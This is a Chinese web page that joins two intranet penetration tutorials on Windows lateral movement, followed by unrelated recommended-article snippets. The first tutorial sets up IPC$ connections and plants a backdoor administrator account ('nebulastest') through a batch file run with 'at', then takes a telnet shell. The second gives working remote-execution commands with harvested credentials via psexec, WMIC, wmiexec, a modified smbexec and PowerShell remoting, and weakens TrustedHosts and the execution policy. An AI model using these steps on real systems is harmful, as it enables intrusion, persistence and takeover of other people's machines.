内网渗透之IPC,远程执行
开启服务
net start Schedule
net start wmiApSrv
关闭防火墙
net stop sharedaccess
net use \\目标IP\ipc$ "" /user:"administrator"进行连接
net use \\目标IP\ipc$
试环境:主机(windows XP sp3)与windows XP sp2虚拟机)
通过IPC$与windowsXP建立连接,在现在的绝大多数的XP操作系统中总是会出现问题。以下如何解决在建立IPC$出现的一系列问题。IPC$(Internet process connection),通常很多的机子的默认共享都是打开的!在cmd下使用net share命令是不是发现有很多$,"ipc$ admin$ ,c$ ,d$....."(很危险啊)。
现在进入正题:
1.net use \\目标IP\ipc$
出现53错误:找不到网络路径,(目标主机打开了系统防火墙或者其他防火墙软件,解决:关闭目标防火墙)
出现1326错误:
1)net use \\目标IP\ipc$ "" /user:"administrator"进行连接,报告系统发生1326错误,登陆失败:未知用户名或密码错误。检查一下我们的命令是否错误或者用户名错误。结果发现无错。
2)在远程机的"控制面板-文件夹选项-查看-简单的文件共享",去掉选取,然后再尝试连接。简单文件共享会
把网络连接权限都归为 guest连接,是无法访问IPC$等管理共享的.结果发现这个错误,纠正。
紧接着可能出现1327错误:登陆失败:用户帐户限制。可能的原因包括不允许空密码,登陆时间限制,或强制的策略限。"在远程机的"控制面板-管理工具-本地安全策略-安全选项-用户权限"指派里,禁用"空密码用户只能进行控制台登陆".
映射对方默认共享c盘:net use z: \\目标IP\c$
在我的电脑中会出现网络驱动器
建立ipc$告一段落,删除ipc$连接:net sue \\目标IP\ipc$ /del
在此基础上在目标电脑上留下后门账号:
编写一个批处理文件,并拷贝到对方的电脑上,然后增加计划任务执行批处理文件;
批处理命令:(保存为adduser.bat)
net user nebulastest 123456 /add //增加用户nebulastest,密码123456
net localgroup administrators nebulastest /add //为用户nebulastest赋予管理员权限
然后在本机上执行命令(已经建立IPC$连接):copy adduser.bat \\目标IP\c$
接着查看目标电脑时间:net time \\目标IP
随后为目标电脑增加计划任务:at \\目标IP 执行时间 c:\adduser.bat
删除当前IPC$链接,使用新用户和新密码建立IPC$链接,以测试时候建立账号成功。
net use \\目标IP\ipc$ "123456" /user:"nebulastest"
使用telnet进行登陆:(前提:目标电脑已经开启telnet服务)
双击"telnet服务"-----选择"自动"-----点击"启动"
在命令行输入:telnet 目标IP
之后弹出远程登录对话框,选择Y,输入用户名(后门账户,密码)
输入密码不会现在但是回车后会自动验证是否密码正确
下图已经输入密码但是不会显示:
登陆后的界面:
大功告成,获得目标主机shell
在远程系统上执行程序的技术整理
三好学生 · 2015/07/24 17:41
0x00 前言
上一篇学习了如何导出域内所有用户hash,那么,接下来准备用破解出的用户名口令尝试远程登陆目标主机并执行程序,结合实际环境做了如下测试.
0x01 目标
远程登陆目标主机执行测试程序
0x02 测试环境
远程主机:
ip:192.168.40.137
用户名:test
口令:testtest
操作系统:win7 x64
远程登陆方式:
net use远程登陆,不使用3389
Tips:
解决工作组环境无法远程登陆执行程序的方法:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System add a new DWORD (32-bit) called "LocalAccountTokenFilterPolicy" and set it to 1
0x03 测试方法
1、at&schtasks
计划任务方式执行程序。
条件:
启动Task Scheduler服务
2、psexec
PsTools工具之一,在指定的一台或多台计算机上运行应用程序
条件:
需要开放ADMIN$共享
3、WMIC
功能强大,可做系统管理、远程主机信息获取
条件:
启动WMI服务,开放135端口
本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"
4、wmiexec
使用VBS脚本调用WMI来模拟psexec的功能,基本上psexec能用的地方,这个脚本也能够使用。
条件:
启动WMI服务,开放135端口
本地安全策略的"网络访问: 本地帐户的共享和安全模式"应设为"经典-本地用户以自己的身份验证"
0x04 实际测试
使用用户名口令远程登陆192.168.40.137,如图1
查看目标主机共享资源,如图1-2
1、at&schtasks
at \\192.168.40.137
找不到网络路径,判断是目标主机已禁用Task Scheduler服务
如图2
2、psexec
PsExec.exe \\192.168.40.137 /accepteula -u test -p testtest -c c:\runtest\calc.exe
找不到网络名,判断目标主机已禁用ADMIN$共享
如图3
3、WMIC
wmic /node:192.168.40.137 /user:test /password:testtest process call create calc.exe
Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
如图4
4、wmiexec
cscript.exe wmiexec.vbs /cmd 192.168.40.137 test testtest "ipconfig"
WMIEXEC ERROR: 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用
如图5
0x05 分析
整理下目前掌握的目标主机信息:
目标主机:
1、已获得登陆用户名及口令
2、可以net use连接
3、开放共享C
但是:
1、默认admin$共享关闭,无法使用psexec
2、Task scheduler关闭,无法使用at、schtasks
3、Windows Management Instrumentation服务关闭,关闭135端口无法使用wmic、wmiexec
4、不支持3389
那么,如何在目标主机远程执行程序?
猜测管理员应该是对常用的远程执行程序的方法做了限制,就在一筹莫展的时候突然想到了smbexec,它是基于psexec,如果目标主机开放了其他默认共享,倒是可以尝试smbexec
于是搜索smbexec,终于在GitHub上面找到了一个smbexec的c++参考资料,作为工具改进模版
模版下载地址:
https://github.com/sunorr/smbexec
0x06 改进方案
模版中的bug不细讲,最终我成功用vc6实现了psexec的功能,同时也做了一些改进:
1、可指定默认共享名
为了完成上述测试,加入了参数来指定默认共享,如果ADMIN$共享关闭,那么可以尝试其他磁盘的默认共享
2、分离安装服务的功能
在实际测试过程中,如果ADMIN$共享关闭,c$共享开启,因为UAC的缘故,注册安装服务的功能会出现bug,采取的解决办法为将实现注册安装服务功能的exe单独上传至c:\windows下, 即可解决权限不够的问题
0x07 方案测试
1、工具说明
文件说明:
test.exe:主程序
execserver.exe:实现注册安装服务的辅助程序
参数说明:
test.exe ip user password command netshare
eg:
test.exe 192.168.40.137 test testtest whoami c$
2、使用流程
(1)上传execserver.exe至c:\windows
copy execserver.exe \\192.168.40.137\c$\windows
(2)远程执行
test.exe 192.168.40.137 test testtest whoami c$
如图6
最终我们通过改造的smbexec,突破目标主机限制,成功远程执行程序。
程序源码下载链接:
0x08 补充
1、powershell remoting
实现在目标主机远程执行程序后,可对目标主机开放powershell remoting,用作远程连接
条件:
远程连接会有痕迹
本机要开启winRM服务
命令汇总:
列出所有远程信任主机
powershell Get-Item WSMan:\localhost\Client\TrustedHosts
设置信任所有主机
powershell Set-Item WSMan:\localhost\Client\TrustedHosts -Value * -Force
设置允许运行ps1文件
powershell Set-ExecutionPolicy Unrestricted
执行test.ps1文件
powershell -ExecutionPolicy Bypass -File test.ps1
ps1文件如下:
$UserName = "test"
$serverpass = "testtest" $Password = ConvertTo-SecureString $serverpass -AsPlainText –Force $cred = New-Object System.Management.Automation.PSCredential($UserName,$Password)
invoke-command -ComputerName 192.168.40.137 -Credential $cred -ScriptBlock { ipconfig }
2、python smbexec
随后用python写的smbexec也实现了相同的功能,但py2exe的时候遇到了大麻烦,如果有更简单的方法, 希望能得到你的帮助。
0x09 小结
这篇文章共列举了六种远程执行程序的方法,如果已经成功登陆目标主机,却无法执行程序,最心塞的事情莫过于此。
at
psexec
WMIC
wmiexec
smbexec
powershell remoting
...
获得用户名口令,实现远程执行程序仅仅是个开始,内网渗透会很有趣。
水平有限,欢迎补充。
内网渗透之IPC,远程执行的更多相关文章
- 4. 内网渗透之IPC$入侵
IPC$连接 IPC$的概念: IPC$(Internet Process Connection)是共享”命名管道”的资源,它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限 ...
- 内网渗透-横向移动($IPC&at&schtasks)
内网渗透-横向移动 #建立ipc连接并将后门添加至计划任务 前置条件:获取到某域主机权限->得到明文或者hash,通过信息收集到的用户列表当做用户名字典->用得到的密码明文当做密码字典 本 ...
- 内网渗透 - 提权 - Windows
MS提权 MS16- MS16- 提权框架 Sherlock 信息收集 ifconfig -a cat /etc/hosts arp -a route -n cat /proc/net/* ping扫 ...
- 5.内网渗透之PTH&PTT&PTK
---------------------------------------------- 本文参考自三好学生-域渗透系列文章 内网渗透之PTH&PTT&PTK PTH(pass-t ...
- 内网渗透测试思路-FREEBUF
(在拿到webshell的时候,想办法获取系统信息拿到系统权限) 一.通过常规web渗透,已经拿到webshell.那么接下来作重要的就是探测系统信息,提权,针对windows想办法开启远程桌面连接, ...
- [原创]K8 Cscan 3.6大型内网渗透自定义扫描器
前言:无论内网还是外网渗透信息收集都是非常关键,信息收集越多越准确渗透的成功率就越高但成功率还受到漏洞影响,漏洞受时效性影响,对于大型内网扫描速度直接影响着成功率漏洞时效性1-2天,扫描内网或外网需1 ...
- 内网渗透技巧:判断机器真实外网IP的5种方法总结
在内网渗透中有时需要在某台WEB服务器中留下后门,该机器可以通过内网IP建立IPC连接,但还需要获知外网IP或域名才能访问Wbshell,在无网关权限的情况下,我总结了有如下方法: 1.通过nsloo ...
- 【CTF】msf和impacket联合拿域控内网渗透-拿域控
前言 掌控安全里面的靶场内网渗透,练练手! 内网渗透拿域控 环境:http://afsgr16-b1ferw.aqlab.cn/?id=1 1.进去一看,典型的sql注入 2.测试了一下,可以爆库,也 ...
- Linux内网渗透
Linux虽然没有域环境,但是当我们拿到一台Linux 系统权限,难道只进行一下提权,捕获一下敏感信息就结束了吗?显然不只是这样的.本片文章将从拿到一个Linux shell开始,介绍Linux内网渗 ...
随机推荐
- UTF-8编码
UTF-8是UNICODE的一种变长度的编码表达方式<一般UNICODE为双字节(指UCS2)>,它由Ken Thompson于1992年创建,现在已经标准化为RFC 3629.UTF-8 ...
- Ubuntu 安装 Caffe
Caffe Caffe 安装(Python2 CPU版本) 参考博文https://blog.csdn.net/pangyunsheng/article/details/79418896 安装环境 U ...
- Markdown 语法整理大集合2017
简明教程:https://ouweiya.gitbooks.io/markdown/ 1.标题 代码 注:# 后面保持空格 # h1 ## h2 ### h3 #### h4 ##### h5 ### ...
- RocketMQ的一些特性
一 nameserver 相对来说,nameserver的稳定性非常高.原因有二: 1 nameserver互相独立,彼此没有通信关系,单台nameserver挂掉,不影响其他nameserver,即 ...
- SQL Serever学习10——T-SQL语句
在sqlserver2018中使用的是Transact-SQL语言,简称T-SQL. 数据库的创建和管理 数据定义语言DDL DDL功能包括数据库,表,索引,视图,存储过程 数据库:CREATE DA ...
- jquery点击按钮或链接,第一次与第二次执行不同的事件
本文和大家分享一个jquery的实例,这个实例实现的是点击网页里的按钮或链接,第一次和第二次会执行不同的事件,也就是两个事件会轮流执行. <script language="javas ...
- python——高级特性(2)
迭代 在python中迭代是通过for ....in...完成的,只要是可迭代对象都可以迭代 #!usr/bin/python #-*- coding:UTF-8 -*- #tuple迭代 t=[(1 ...
- jQuery基础---Ajax基础
内容提纲: 1.Ajax 概述 2.load()方法 3.$.get()和$.post() 4.$.getScript()和$.getJSON() 5.$.ajax()方法 6.表单序列化 发文不易, ...
- 手把手教你用 Keras 实现 LSTM 预测英语单词发音
1. 动机 我近期在研究一个 NLP 项目,根据项目的要求,需要能够通过设计算法和模型处理单词的音节 (Syllables),并对那些没有在词典中出现的单词找到其在词典中对应的押韵词(注:这类单词类似 ...
- zsh: command not found: gulp
明明安装了gulp,但是为什么执行gulp命令却在控制台输出 zsh: command not found: gulp 可能因为gulp没有被全局安装 在控制台输入 which gulp 如果输出 g ...